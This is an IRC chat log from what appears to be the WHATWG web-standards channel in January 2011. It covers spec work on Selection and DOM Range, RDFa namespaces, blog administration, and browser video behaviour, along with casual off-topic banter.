lol, I wasn't aware Linux boots that fast.

[03:44:06.0000] <annevk>
what I mean is that the browser does processing of HTML, CSS, image formats, etc.

[03:44:07.0000] <Peter`>
Chrome OS is a little bit more than just that, stvs

[03:45:00.0000] <stvs>
Peter`, of course it boots fast.

[03:45:01.0000] <Peter`>
The source-code is available, go have a look yourself. Your statement is nonsense

[03:45:02.0000] <annevk>
(though admittedly it differs for some browsers, e.g. WebKit uses platform libraries for images I think)

[03:45:03.0000] <stvs>
Have you guys not seen some motherboards which have embeded Linux as alt-boot environment.

[03:45:04.0000] <stvs>
With a browser and some quick apps.

[03:45:05.0000] <annevk>
stvs, no man, we're morons

[03:45:06.0000] <annevk>
stvs, you must have realized that by now

[03:45:07.0000] <stvs>
annevk, why would you insult yourself now?

[03:46:00.0000] <annevk>
I was mocking you

[03:46:01.0000] <stvs>
annevk, yes, because?

[03:46:02.0000] <stvs>
Peter`, yes, you say that, but have you looked at it yourself? It builds on top of Debian Linux.

[03:47:00.0000] <annevk>
stvs, I'm getting bored with this silly discussion

[03:47:01.0000] <Peter`>
Haha. I've got better things to do.

[03:47:02.0000] <Rik`>
stvs: so again, what's the purpose of your presence here ?

[03:47:03.0000] <stvs>
annevk, it's boring to be wildly inaccurate ;)

[03:47:04.0000] <stvs>
I'm not doing anything beside correcting your guys/gals :|

[03:48:00.0000] <stvs>
Rik`, I was wondering if I could get an informed opinion on WebM

[03:48:01.0000] <stvs>
Maybe I could but not by the people currently present I think.

[03:48:02.0000] <Rik`>
you already have your opinion…

[03:48:03.0000] <stvs>
Rik`, I have no opinion. I've only cited facts, and have no opinion

[03:49:00.0000] <annevk>
lol

[03:49:01.0000] <annevk>
but Oracle is gonna win that lawsuit

[03:49:02.0000] <annevk>
fact

[03:49:03.0000] <stvs>
I have no idea what to make of this to be honest.

[03:49:04.0000] <Rik`>
sure, let's go do something else

[09:39:00.0000] <Oddant>
hello

[09:39:01.0000] <Oddant>
i need some help for my website

[09:40:00.0000] <Oddant>
someone here ?

[09:41:00.0000] <Oddant>
well here's something that makes me really angry

[09:41:01.0000] <Oddant>
I can't figure out how make my menu neat

[09:41:02.0000] <Oddant>
i've got a <ul> menu

[09:41:03.0000] <Oddant>
with <li> elements

[09:42:00.0000] <Oddant>
and each <li> are <a>

[09:42:01.0000] <Oddant>
<ul> <li><a href=1>link1</a></li> <li><a href=2>link2</a></li> ... </ul> then

[09:43:00.0000] <Oddant>
clicking on one link bring you one the associated page

[09:43:01.0000] <Oddant>
and the current link get the css class .selected

[09:44:00.0000] <Oddant>
.selected { font-weight:bold; }

[09:44:01.0000] <Oddant>
but my issue applying this style is that the <li> elements get an offset

[09:44:02.0000] <Oddant>
of a bunch of pixels

[09:44:03.0000] <Oddant>
and it's not really neat

[09:46:00.0000] <Oddant>
what's the way to change to make it having a better looking

[09:46:01.0000] <Oddant>
?

[09:46:02.0000] <Oddant>
thanks

[10:44:00.0000] <pluma>
Oddant: might want to check #html instead

[10:44:01.0000] <pluma>
Oddant: or #css rather

[12:22:00.0000] <othermaciej>
is there a spec for document.getSelection()?

[12:22:01.0000] <othermaciej>
it doesn't seem to be spec'd in HTML5

[12:23:00.0000] <AryehGregor>
othermaciej, http://html5.org/specs/dom-range.html#apis-for-the-browsing-context-selection:-the-selection-interface

[12:23:01.0000] <AryehGregor>
It used to be in HTML5 but was broken out.

[12:24:00.0000] <AryehGregor>
(I don't think the spec is anywhere in W3C space.)

[12:24:01.0000] <AryehGregor>
I'm currently working on speccing various underspecified or misspecified aspects of it, currently extend() and then modify().

[12:24:02.0000] <othermaciej>
I see

[12:25:00.0000] <othermaciej>
I was going to point out to the A11Y TF that adding a <selection> element is pointless given the document.getSelection() interface

[12:25:01.0000] <othermaciej>
but now I have nothing to point to in w3c space

[12:25:02.0000] <Ms2ger>
Please, don't send them my way

[12:25:03.0000] <AryehGregor>
Then toString() then createContextualFragment() then execCommand(), apparently.  Actually, it looks like I'll be spending a couple of months of this.

[12:25:04.0000] <AryehGregor>
Well, the spec used to be part of HTML.  Why was it split out?

[12:25:05.0000] <Ms2ger>
createContextualFragment is specced

[12:25:06.0000] <AryehGregor>
Given that it's not being actively edited anyway, could it be merged back in?

[12:26:00.0000] <AryehGregor>
Ms2ger, then that part will be easy.  :)

[12:27:00.0000] <AryehGregor>
Ms2ger, do you know why DOM Range was split out of HTML5?

[12:27:01.0000] <Ms2ger>
Range was never in

[12:27:02.0000] <AryehGregor>
Oh.

[12:27:03.0000] <AryehGregor>
Was Selection in?

[12:27:04.0000] <Ms2ger>
Selection because of the bugs you're fixing, I guess

[12:28:00.0000] <Ms2ger>
And the deadline for pre-LC bugs

[12:29:00.0000] <AryehGregor>
othermaciej, could we just stick it in the HTMLWG space as an ED?

[12:30:00.0000] <othermaciej>
who is "we" in that sentence?

[12:30:01.0000] <othermaciej>
the editors of the document are welcome to submit it

[12:30:02.0000] <Ms2ger>
I'm still waiting for a reply from the W3C lawyers they promised a few months ago

[12:31:00.0000] <AryehGregor>
What question did you ask the W3C lawyers?

[12:36:00.0000] <AryehGregor>
Since it seems like I'll be doing a bunch of DOM Range stuff over the next couple of months, I could be editor if an editor is needed to submit it, but probably only until August or so.

[12:38:00.0000] <AryehGregor>
Regardless, a <selection> element is still pointless given getSelection().  Although I don't even know how an element would work, since selections don't have to be nested properly in the DOM.

[12:40:00.0000] <AryehGregor>
. . . why is getSelection() so horrifyingly complicated?  Sheesh.

[13:17:00.0000] <annevk>
http://al3x.net/2011/01/15/user-hostile-platforms.html -- I cannot help but think that this applies to all platforms but the web

[13:17:01.0000] <annevk>
well, the user hostile part

[13:57:00.0000] <sephr>
Is document.renameNode gone for good?

[13:57:01.0000] <sephr>
if so, what's the alternative?

[13:59:00.0000] <gsnedders>
sephr: Nothing, the idea is that element names should be immutable

[14:00:00.0000] <sephr>
gsnedders: then why was it put in DOM 3?

[14:01:00.0000] <sephr>
also, there *is* an alternative but it's very costly

[14:02:00.0000] <sephr>
cloneNode(true) a node, then create a new one and setAttributeNodes on it and appendChildren from the clone

[14:02:01.0000] <sephr>
and then replaceNode

[14:10:00.0000] <webben>
AryehGregor: Re how <selection> could work with nesting. I think you could just have multiple selection elements where you need discontinuous ranges, whether thanks to non-adjacency or nesting.

[14:11:00.0000] <annevk>
sephr, DOM 3 was designed for servers

[14:11:01.0000] <webben>
AryehGregor: You'd probably need to spec some sort of behavior about joining adjacent <selection> elements for the purpose of keyboard modification of the selection.

[14:11:02.0000] <annevk>
sephr, I mean, non-browser software

[14:12:00.0000] <sephr>
annevk: what if I'm running this in commonjs with a DOM env?

[14:12:01.0000] <webben>
AryehGregor: ... assuming this markup is even meant to allow modification independent of script, which isn't clear to me.

[14:12:02.0000] <sephr>
on my server

[14:12:03.0000] <annevk>
then feel free to implement renameNode :)

[14:12:04.0000] <sephr>
annevk: so it *is* still valid to implement?

[14:12:05.0000] <sephr>
I thought it was invalidated a while ago

[14:12:06.0000] <annevk>
you can implement whatever you want as far as I'm concerned

[14:13:00.0000] <sephr>
I mean is it still part of the DOM?

[14:13:01.0000] <annevk>
it's not part of DOM Core

[14:13:02.0000] <annevk>
or part of the Web Platform

[14:15:00.0000] <annevk>
sephr, what I mean is that on the server you can implement whatever you want

[14:15:01.0000] <annevk>
sephr, e.g. something much nicer than the DOM :)

[14:15:02.0000] <annevk>
the DOM is quite horrid

[14:46:00.0000] <annevk>
holy shit

[14:46:01.0000] <annevk>
I think I am going to lock down some stuff in the WHATWG blog

[14:47:00.0000] <annevk>
I mean there is no spam going out but the amount of bogus drafted posts there are and amount of contributors...

[14:54:00.0000] <annevk>
so I just published this

[14:54:01.0000] <annevk>
http://blog.whatwg.org/whatwg-weekly

[14:55:00.0000] <annevk>
it does not cover public-html, IRC, or html5.org/tools/web-apps-tracker

[14:55:01.0000] <annevk>
ideally it will next time, I might right an addendum

[14:55:02.0000] <Hixie>
nice

[14:55:03.0000] <annevk>
s/right/write/

[14:55:04.0000] <Hixie>
add it to the same channel mark was using

[14:55:05.0000] <Hixie>
in case anyone subscribed to that

[14:56:00.0000] <Rik`>
annevk++

[14:56:01.0000] <annevk>
I wasn't sure whether that would be appropriate, but okay

[14:56:02.0000] <Hixie>
i guarantee mark won't mind, and i can't see any other reason not to do it

[14:56:03.0000] <annevk>
great

[14:57:00.0000] <Rik`>
/me really enjoys public summaries of group activities

[15:02:00.0000] <karlcow>
ah, excellent anne

[15:03:00.0000] <Rik`>
oh, I started my webkit's week 3 days before mark started "this week in html5"

[15:03:01.0000] <Rik`>
I thought I started it after that

[15:04:00.0000] <annevk>
so there's two WebKit summaries?

[15:04:01.0000] <annevk>
/me only new about the one from Peter

[15:04:02.0000] <Rik`>
no, was 2 years ago

[15:04:03.0000] <annevk>
oh okay

[15:04:04.0000] <annevk>
if anyone wants a WHATWG blog account just ask on IRC

[15:05:00.0000] <annevk>
the current policy creates a gigantic mess

[15:05:01.0000] <annevk>
I mean former policy

[15:19:00.0000] <AryehGregor>
annevk, Web DOM Core doesn't define things like "parent" and "ancestor"?

[15:20:00.0000] <annevk>
see the Nodes Model thingie

[15:20:01.0000] <annevk>
that needs some more text

[15:29:00.0000] <annevk>
I'm adding this to the WHATWG Blog: http://twitoaster.com/wordpress-plugin/

[15:30:00.0000] <annevk>
This includes giving access to a third-party to the WHATWG twitter account via OAuth

[15:30:01.0000] <annevk>
Let me know if you notice something bad happening

[15:31:00.0000] <Hixie>
so can i convince anyone to fill in http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-129#Bug_10449:_Allow_an_H1_element_to_be_described_as_a_spinbutton_or_checkbox.2C_etc ? :-)

[15:31:01.0000] <Hixie>
i did the rest of the ccp :-)

[15:36:00.0000] <annevk>
hmm uses bit.ly

[15:36:01.0000] <annevk>
oh well

[15:37:00.0000] <annevk>
this means we also get http://twitoaster.com/country-in/whatwg/

[15:37:01.0000] <annevk>
but it does not seem to track any WebAppsTweet posts?

[15:38:00.0000] <annevk>
it also thinks "The Web" is located in India

[15:38:01.0000] <annevk>
oh well

[15:38:02.0000] <Dashiva>
Where is Web 2.0 located?

[15:41:00.0000] <annevk>
heh

[15:41:01.0000] <annevk>
we'll find out if it works when we next post something

[15:52:00.0000] <annevk>
Peter`, btw, I think you should remove the quotation marks around the headings of posts

[15:53:00.0000] <annevk>
Peter`, unless it makes sense in a way I have not considered that is


2011-01-17
[16:26:00.0000] <paul_irish>
annevk: incredible post. please do that again.

[16:27:00.0000] <AryehGregor>
annevk++

[16:31:00.0000] <webben>
annevk: Very useful even for those of us who make some headway against the deluge of standards mail. Thank you :)

[16:31:01.0000] <nessy>
thanks for mentioning me ;-)

[16:32:00.0000] <nessy>
it's great to see it all together!

[16:33:00.0000] <nessy>
or which of the annevk posts of recent are we talking about… (blog… email … too much goodness to count!)

[16:47:00.0000] <Hixie>
ok, i finished http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-129

[16:47:01.0000] <Hixie>
looking for someone to review it

[16:48:00.0000] <Hixie>
before i submit it

[16:48:01.0000] <Hixie>
deadline is tuesday.

[16:56:00.0000] <AryehGregor>
Okay, so when you're extending to something that's not in the same tree, it just replaces the selection's start and end with the target point . . . but sets the direction of the selection to backwards?  Seriously?

[16:56:01.0000] <AryehGregor>
Why backwards?

[16:56:02.0000] <AryehGregor>
(in Firefox)

[16:56:03.0000] <AryehGregor>
(I can't figure out what WebKit is doing here)

[17:01:00.0000] <AryehGregor>
(the entire API is broken and insane, and WebKit's implementation is even more broken and insane)

[17:05:00.0000] <Hixie>
sounds like the dnd api

[17:10:00.0000] <AryehGregor>
It seems like in WebKit, after selection.addRange(range), it is not necessarily true that range == selection.getRangeAt(0).  This means that among other things, I can't figure out how to determine the direction of a selection . . .

[17:10:01.0000] <AryehGregor>
Actually, I can't figure out how to modify selections reliably at all in WebKit.

[17:13:00.0000] <AryehGregor>
Okay, hmm, maybe it just doesn't like ranges that aren't in the document . . . ?

[17:19:00.0000] <AryehGregor>
Well, I guess WebKit just gets to fail a whole bunch of extra tests.

[17:41:00.0000] <AryehGregor>
Yay, I finally found some Gecko behavior that made so little sense that I just ignored it and specced what made sense.

[17:41:01.0000] <AryehGregor>
(Doesn't seem to have appreciable likelihood of compat issues.)

[17:42:00.0000] <AryehGregor>
(Although heaven only knows for sure . . .)

[17:42:01.0000] <AryehGregor>
Okay, I'm off to bed.

[18:12:00.0000] <MikeSmith>
/me reads webben mail

[18:13:00.0000] <MikeSmith>
well written

[18:13:01.0000] <MikeSmith>
indeed great if AI Squared are in fact going to get more involved

[18:15:00.0000] <MikeSmith>
continues to be pretty ridiculous that Freedom Scientific doesn't

[18:28:00.0000] <MikeSmith>
http://rumpetroll.com/

[18:32:00.0000] <bga_|away>
http://www.linux.fm/

[18:35:00.0000] <MikeSmith>
wow

[18:37:00.0000] <bga_>
webkit.fm!

[20:14:00.0000] <karlcow>
/me is discovering http://mir.aculo.us/dom-monster/

[00:15:00.0000] <a-ja>
anyone: when's  Tab normally around?

[00:30:00.0000] <Hixie>
a-ja: weekdays, UTC-8

[00:31:00.0000] <a-ja>
tks Hixie, kinda what i figured.

[00:32:00.0000] <a-ja>
not whatwg-related.   css3-images thing

[00:56:00.0000] <MikeSmith>
http://www.w3.org/2001/tag/2011/01/HashInURI-20110115#ViolateW3CSpecs claims that sites are using processing of fragment identifiers that violates RFC 2854

[00:56:01.0000] <MikeSmith>
but I can't see that RFC 2854 actually defines any processing behavior at all

[00:57:00.0000] <Hixie>
othermaciej: what's the deadline on CCPs for ISSUE-130? the issue-status page doesn't say

[01:01:00.0000] <asmodai>
hah, awesome http://w3fools.com/

[01:03:00.0000] <MikeSmith>
Hixie: no deadline listed at http://dev.w3.org/html5/status/issue-status.html#ISSUE-130

[01:03:01.0000] <MikeSmith>
/me checks archive to see if previous mail gave one

[01:04:00.0000] <MikeSmith>
Hixie: February 12th

[01:04:01.0000] <Hixie>
issue-status seems way out of date

[01:04:02.0000] <MikeSmith>
it seems

[01:04:03.0000] <Hixie>
k, thanks

[01:04:04.0000] <MikeSmith>
http://lists.w3.org/Archives/Public/public-html/2011Jan/0117.html

[01:11:00.0000] <MikeSmith>
man, there are exactly two paragraphs about fragment IDs in RFC 2854

[01:11:01.0000] <MikeSmith>
96 words

[01:13:00.0000] <hsivonen>
soo. If I have a <video> element in Konqueror that support <video> but not the format of the file I'm using

[01:13:01.0000] <hsivonen>
and I call .play()

[01:13:02.0000] <hsivonen>
Konqueror doesn't fire an error event on the <video>

[01:13:03.0000] <hsivonen>
does anyone happen to know if it fires something else?

[01:14:00.0000] <hsivonen>
or do I need to work with readystates and timeouts?

[01:52:00.0000] <zcorpan>
hsivonen: you're using <video src=""> or <video><source src="">?

[01:53:00.0000] <hsivonen>
zcorpan: src

[01:53:01.0000] <hsivonen>
zcorpan: <video src=""> that is

[01:53:02.0000] <annevk>
(thanks for all the Internet karma everyone -- will write again)

[01:53:03.0000] <hsivonen>
zcorpan: should I expect <source> to work better? I was guessing it offered more opportunity for bugs.

[01:54:00.0000] <zcorpan>
hsivonen: ok. the reason i ask is that for <source>, error is fired on the source element, not the video element

[01:54:01.0000] <zcorpan>
per spec, no idea about in konq

[01:55:00.0000] <hsivonen>
Aside: the Konq "controls" UI sucks

[01:56:00.0000] <Hixie>
ok i sent out the CCP for -129

[01:59:00.0000] <annevk>
that's a long change proposal :)

[01:59:01.0000] <Hixie>
oh hey the deadline for -120 is coming up. I guess I'd better write that up.

[01:59:02.0000] <Hixie>
that's the one about removing xmlns="" and co from rdfa

[02:00:00.0000] <annevk>
do you think it's worthwhile changing RDFa?

[02:01:00.0000] <annevk>
to me it sort of falls in the same category as people wishing to use XForms or XHTML 2.0

[02:02:00.0000] <Hixie>
i just want namespaces out of text/html

[02:02:01.0000] <annevk>
yeah, admittedly that is kind of sucky

[02:03:00.0000] <annevk>
and people using RDFa as an argument that it is possible, while really it is not (although they are quite persistent about not grasping what is actually going on)

[02:03:01.0000] <Hixie>
yeah

[02:03:02.0000] <Hixie>
(and yeah)

[02:07:00.0000] <hsivonen>
annevk: xmlns in RDFa is an error committed into REC after the W3C welcomed HTML5 into the W3C

[02:07:01.0000] <hsivonen>
annevk: XForms went to REC before that time

[02:07:02.0000] <Hixie>
"welcomed"

[02:07:03.0000] <hsivonen>
Hixie: I'm trying to be polite here

[02:07:04.0000] <Hixie>
ah, my bad :-)

[02:08:00.0000] <jgraham>
Where is createContextualFragment specified these days? In one of the things that AryehGregor is working on?

[02:09:00.0000] <Hixie>
right. bed time now. i'll work on tilting at windmills on tuesday.

[02:09:01.0000] <Hixie>
nn

[02:10:00.0000] <hsivonen>
jgraham: in one of the specs Ms2ger is working on

[02:12:00.0000] <jgraham>
hsivonen: Thanks. Life was so much easier in the past when the answer to "who's specifying this" was either "No one" or "Hixie"

[02:14:00.0000] <jgraham>
Now it is "No one: or "Hixie" or "One of Hixie's minions". Which is just confusing.

[02:16:00.0000] <MikeSmith>
we need to get some greater diversity into this work

[02:17:00.0000] <MikeSmith>
maybe I can recruit some of the yakuza guys who I chat with now and then at my sento

[02:17:01.0000] <MikeSmith>
those dudes know how to get stuff done

[02:23:00.0000] <jgraham>
MikeSmith: Maybe they could work on HyBi :)

[02:23:01.0000] <jgraham>
s/HyBi/Websockets/

[02:24:00.0000] <MikeSmith>
jgraham: yes

[02:25:00.0000] <MikeSmith>
now we're on to something

[02:25:01.0000] <MikeSmith>
we should brainstorm more often, make magic like this

[02:25:02.0000] <MikeSmith>
jgraham: I think you had it right the first time

[02:26:00.0000] <MikeSmith>
Websockets is fine, basically

[02:26:01.0000] <MikeSmith>
the problem lies elsewhere…

[02:27:00.0000] <MikeSmith>
if the hybi mailing list had a theme song, I wonder what it would be

[02:28:00.0000] <MikeSmith>
for example, that whatwg theme song is "Teenage Dream" by T. Rex

[02:29:00.0000] <MikeSmith>
especially the chorus ("What ever happened to the teenage dream?")

[02:30:00.0000] <webr3>
MikeSmith, something like http://www.youtube.com/watch?v=ydVp-2B8qlw

[02:30:01.0000] <jgraham>
Somehow the first song that comes to mind is "Heavn Knows I'm Miserable Now"

[02:30:02.0000] <MikeSmith>
heh

[02:30:03.0000] <webr3>
see 0:49

[02:33:00.0000] <MikeSmith>
they shouldn't mock the tuba

[02:33:01.0000] <MikeSmith>
the tube is pope ratzinger's favorite instrument

[02:34:00.0000] <MikeSmith>
he says its that instrument which is most like the voice of god

[02:36:00.0000] <MikeSmith>
the pope is also really fond of the Amen Break

[02:36:01.0000] <webr3>
hixie, hsivonen, annevk - can you quickly sum up the problem with namespaces (under whatever guise, not just the xmlns variant) for me?

[02:36:02.0000] <MikeSmith>
but not for the reason you would think

[02:39:00.0000] <annevk>
webr3, did you review http://wiki.whatwg.org/wiki/Namespace_confusion ?

[02:40:00.0000] <annevk>
I updated the posting rules: http://blog.whatwg.org/submit-article

[02:40:01.0000] <webr3>
annevk, cheers - not in a while, I'll re-read just now

[02:41:00.0000] <webr3>
quick q, is xmlns support in, or out, of "HTML 5"

[02:41:01.0000] <annevk>
Basically one of the nine administrators has to set up an account for someone if they want to post an article on the WHATWG blog

[02:41:02.0000] <annevk>
webr3, there's no xmlns support in the XML sense in the HTML syntax

[02:42:00.0000] <jgraham>
webr3: Well you can use XMLNS in XHTML5

[02:42:01.0000] <jgraham>
But there is no namespace support in HTML5 in general

[02:42:02.0000] <webr3>
so, if xmlns was only support when RDFa is used in X-whatever, would that help?

[02:43:00.0000] <annevk>
xmlns is in a different namespace in HTML

[02:43:01.0000] <annevk>
so it is not the same

[02:43:02.0000] <annevk>
it's not in a namespace, to be pedentaic

[02:43:03.0000] <annevk>
pedantic

[02:54:00.0000] <jgraham>
MikeSmith: I think, however that the final naswer must be "let Down"

[02:54:01.0000] <jgraham>
s/let/Let/

[02:55:00.0000] <MikeSmith>
the pope?

[02:56:00.0000] <MikeSmith>
yeah, what a chump that clown is

[03:02:00.0000] <jgraham>
MikeSmith: No, before that :) The Pope could hardly be a disappointment. That would imply some level of expectation

[03:02:01.0000] <MikeSmith>
heh

[03:02:02.0000] <MikeSmith>
but he out-clowns the previous guy

[03:02:03.0000] <MikeSmith>
and that's an achievement

[03:03:00.0000] <annevk>
Lachy, can you take a look at http://blog.whatwg.org/wp-admin/upload.php ?

[03:03:01.0000] <hsivonen>
Aargh! Windows Genuine Disadvantage! My properly purchased copy of Windows 7 Professional suddenly tells me it's not genuine upon booting. Booted fine earlier today.

[03:03:02.0000] <erlehmann>
MikeSmith, editors and commitee chairs should try to do the same thing!

[03:04:00.0000] <annevk>
Lachy, it seems all media resources are incorrectly linked

[03:04:01.0000] <MikeSmith>
they're seriously gonna make that joker an official saint… kind of like giving the Nobel Peace Prize to President Predator Drone

[03:05:00.0000] <hsivonen>
ok. then I clicked Get Genuine and it changed its mind and decided it was Genuine already.

[03:11:00.0000] <Philip`>
Sainthood requires miracles to have been performed that are scientifically inexplicable, but it seems they only require one or two instances - I think they ought to have a higher standard and require statistically significant evidence of miraculous healing among people who pray to the would-be saint compared to a control group of atheists, to rule out coincidence

[03:13:00.0000] <erlehmann>
MikeSmith, little known is the fact that it was the “Nobel War is Peace Price” ;)

[03:13:01.0000] <MikeSmith>
heh

[03:13:02.0000] <erlehmann>
:D

[03:20:00.0000] <jgraham>
Philip`: If the church was to embrace the scientific method to that extent, would it not lead them to Occam's razor, which advises against adopting hypotheses such as "everything is controlled by an all-powerful, yet unverifiable, being"

[03:24:00.0000] <MikeSmith>
I feel sorry for the saints that nobody prays too

[03:25:00.0000] <MikeSmith>
those ones must get depressed sometimes

[03:26:00.0000] <pluma>
Stop antropomorphicizing fictional characters and dead people

[03:26:01.0000] <MikeSmith>
no point of going to all the trouble to live and perform miracles and then die and in spite of all your efforts nobody ask for your help

[03:27:00.0000] <pluma>
I think saints need post-mortem miracles.

[03:27:01.0000] <pluma>
Not during their lifetime.

[03:33:00.0000] <MikeSmith>
sometimes demons do miracles in the name of a particular saint so that people will pray to that saint, but in reality the demon has set of a man-in-the-middle exploit and when you pray to that saint, all the traffic is redirected to that demon instead, and he gets all the linkage and google rank and ad juice instead

[03:40:00.0000] <annevk>
MikeSmith, hahaha

[03:42:00.0000] <Lachy>
annevk, ok, I'll take a look at it later. Not sure what's going on, but it's probably a bug in WordPress

[03:42:01.0000] <Lachy>
hmm, unless the files were lost somehow

[03:45:00.0000] <annevk>
it seems the links first go to http and then a local directory

[03:45:01.0000] <annevk>
also

[03:45:02.0000] <annevk>
for me ssh blog.whatwg.org broke

[03:46:00.0000] <Lachy>
ssh works for me. what username are you using?

[03:46:01.0000] <annevk>
annevk

[03:47:00.0000] <annevk>
I get this

[03:47:01.0000] <annevk>
The RSA host key for blog.whatwg.org has changed,

[03:47:02.0000] <annevk>
and the key for the corresponding IP address 69.163.222.251

[03:47:03.0000] <annevk>
is unknown. This could either mean that

[03:47:04.0000] <annevk>
DNS SPOOFING is happening or the IP address for the host

[03:47:05.0000] <annevk>
and its host key have changed at the same time.

[03:48:00.0000] <Lachy>
no, the blog is under the my username lhunt and the wiki is under whatwikiuser.

[03:49:00.0000] <Lachy>
your key is in the authorized_keys file, so lhunt⊙wo should work for you

[03:49:01.0000] <annevk>
interesting

[03:49:02.0000] <annevk>
thanks

[03:50:00.0000] <Lachy>
I checked, those images are missing from the wp-content/uploads/ directory.

[03:50:01.0000] <Lachy>
they must have somehow been missed during an upgrade and overwritten

[03:51:00.0000] <Lachy>
not sure how though, cause I always copied wp-content/* whenever I did that

[04:00:00.0000] <MikeSmith>
oh, I thought "Growl" was what the native notification mechanism in Mac OSX is called

[04:01:00.0000] <MikeSmith>
but I guess it's not

[04:01:01.0000] <hsivonen>
MikeSmith: there's no native mechanism, is there?

[04:01:02.0000] <MikeSmith>
oh

[04:01:03.0000] <annevk>
yeah, they don't do notifications

[04:01:04.0000] <hsivonen>
but everyone who wants one installs Growl

[04:01:05.0000] <jgraham>
But lots of apps support growl

[04:02:00.0000] <jgraham>
So it is kind of a de-facto standard

[04:02:01.0000] <MikeSmith>
well, what is is that apps use to pop up notification windows that oveher appsrlay ot

[04:02:02.0000] <MikeSmith>
I didn't think I had Growl installed

[04:02:03.0000] <MikeSmith>
maybe I do

[04:02:04.0000] <MikeSmith>
/me checks

[04:02:05.0000] <jgraham>
If by "standard" you mean "used by most of twenty-something mac users in the bay area"

[04:02:06.0000] <jgraham>
"twenty-something" in age, not in number

[04:02:07.0000] <MikeSmith>
heh

[04:03:00.0000] <MikeSmith>
well, I got Growl.. so I guess that's what the apps I have that do it are using

[04:03:01.0000] <MikeSmith>
and I guess I wasn't wrong after all

[04:03:02.0000] <MikeSmith>
yay me

[04:15:00.0000] <annevk>
almost makes sense MikeSmith :)

[04:15:01.0000] <annevk>
your tweet

[04:15:02.0000] <MikeSmith>
I'm trying

[04:16:00.0000] <MikeSmith>
"overtollige" is a great word

[04:17:00.0000] <MikeSmith>
anyway, sometimes it's more fun to halfway make sense than it is to fully make sense

[04:20:00.0000] <annevk>
hahaha

[04:20:01.0000] <annevk>
"dicht genoeg"

[04:21:00.0000] <annevk>
I guess this is what the Dutch deserve for literally translating Dutch sentences into English :)

[04:21:01.0000] <annevk>
brilliant

[04:27:00.0000] <hsivonen>
In case anyone wishes to contribute, http://webm.html5.org/ needs a better test clip (shorter, like one second, and maybe showing the text WebM fading in)

[04:28:00.0000] <hsivonen>
(I put whatever .webm file I happened to have there as a placeholder)

[04:28:01.0000] <hsivonen>
also, in case anyone wishes to contribute, it needs some fancy CSS

[04:35:00.0000] <hsivonen>
(I didn't put any logos there, because I don't want to deal with copyright and trademark issues)

[04:38:00.0000] <hsivonen>
Also, I'd be interested in how to best forward-compatibly code around Konqueror's brokenness

[04:40:00.0000] <zcorpan>
hsivonen: nice

[04:41:00.0000] <hsivonen>
zcorpan: thanks

[04:42:00.0000] <zcorpan>
hsivonen: which events do you get in konq?

[04:42:01.0000] <hsivonen>
zcorpan: I don't know

[04:42:02.0000] <hsivonen>
zcorpan: not the ones I listen for

[04:43:00.0000] <zcorpan>
hsivonen: you could listen for all events the spec mentions and see what you get

[04:43:01.0000] <hsivonen>
zcorpan: I guess I'll have to try that :-(

[04:49:00.0000] <zcorpan>
hsivonen: http://software.hixie.ch/utilities/js/live-dom-viewer/saved/780

[04:49:01.0000] <hsivonen>
zcorpan: very nice! thanks

[04:50:00.0000] <hsivonen>
zcorpan: no events at all on Ubuntu

[04:51:00.0000] <karlcow>
MikeSmith: your answer about the fragment id is at http://www.w3.org/TR/html401/struct/links.html#h-12.2.4

[04:51:01.0000] <karlcow>
it is in HTML 4.01

[04:51:02.0000] <hsivonen>
zcorpan: no events on Fedora, either

[04:51:03.0000] <MikeSmith>
karlcow: nope it's not

[04:51:04.0000] <karlcow>
>A reference to an unavailable or unidentifiable resource is an error. Although user agents may vary in how they handle such an error,

[04:51:05.0000] <MikeSmith>
yeah

[04:52:00.0000] <zcorpan>
hsivonen: i don't get anything logged in safari either, which is weird

[04:52:01.0000] <karlcow>
hmmm indeed talking about resources

[04:52:02.0000] <karlcow>
but not fragment ids

[04:52:03.0000] <MikeSmith>
yeah

[04:52:04.0000] <karlcow>
maybe the misunderstanding comes from here

[04:53:00.0000] <MikeSmith>
the misunderstanding comes from the fact that it was never really specified, despite what that TAG draft seems to claim

[04:56:00.0000] <karlcow>
yep yep. There are a few mistakes to fix in the draft. I identified typos too.

[04:58:00.0000] <zcorpan>
hsivonen: oh now i got some events in safari.. but no error event

[05:05:00.0000] <MikeSmith>
http://www.openpr.com/news/158592/Marco-Reversible-Pumps-Boat-Horns-Introduced-to-US-Market-via-HTML5-Portal-by-Miami-Web-Designer.html

[05:33:00.0000] <annevk>
hmm

[05:33:01.0000] <annevk>
so now if I update an old blog post to fix an error a tweet gets posted

[05:33:02.0000] <annevk>
I thought that would only happen when publishing...

[05:33:03.0000] <annevk>
bah

[05:35:00.0000] <annevk>
teh people from twitters are not offended so far fortunately

[05:36:00.0000] <Philip`>
/me assumes anyone who uses Twitter much is already adept at ignoring repeated information

[07:10:00.0000] <annevk>
so now I have some "old" HTC Android phone as well

[07:10:01.0000] <annevk>
iPhone broke down teehee

[07:12:00.0000] <annevk>
not as nice, but reasonable

[07:18:00.0000] <annevk>
also, having contacts and calendar in the cloud is gold

[07:18:01.0000] <annevk>
no computer needed for setup

[07:20:00.0000] <annevk>
oh, and the phone can update itself

[07:20:01.0000] <hsivonen>
annevk: what does "old" in quotes mean here?

[07:21:00.0000] <annevk>
it means it was EUR 200 and not 500

[07:22:00.0000] <annevk>
it's a white phone and only says "htc" and "WITH HTC SENSE" on the back

[07:22:01.0000] <annevk>
/me goes to look on the box

[07:23:00.0000] <annevk>
HTC Wildfire

[07:23:01.0000] <hsivonen>
that's not so old. it's just otherwise designed for a less expensive price point

[07:24:00.0000] <hsivonen>
annevk: it has an older CPU ISA

[07:24:01.0000] <hsivonen>
ARM v6 as opposed to v7

[07:24:02.0000] <hsivonen>
does Opera run on v6?

[07:24:03.0000] <hsivonen>
Firefox wants v7

[07:24:04.0000] <annevk>
I have no idea

[07:24:05.0000] <Rik`>
hsivonen: I think Opera runs on V6

[07:25:00.0000] <hsivonen>
Rik`: do they only ship a v6 binary or do they ship two binaries so that v7 users get faster code?

[07:25:01.0000] <Rik`>
I have no idea

[07:26:00.0000] <hsivonen>
when my SIM broke and I thought my phone broke, I considered buying a HTC Wildfire, but then I learned Firefox doesn't run on it

[07:26:01.0000] <annevk>
I'm a bit displeased with t-mobile for not just setting me up with a temporary phone, but on the other I'm glad I can still use the same SIM while it is in repairs

[07:26:02.0000] <slartsa>
super.onActivityResult(requestCode,

[07:26:03.0000] <slartsa>
argh

[07:26:04.0000] <annevk>
things could be worse

[07:26:05.0000] <hsivonen>
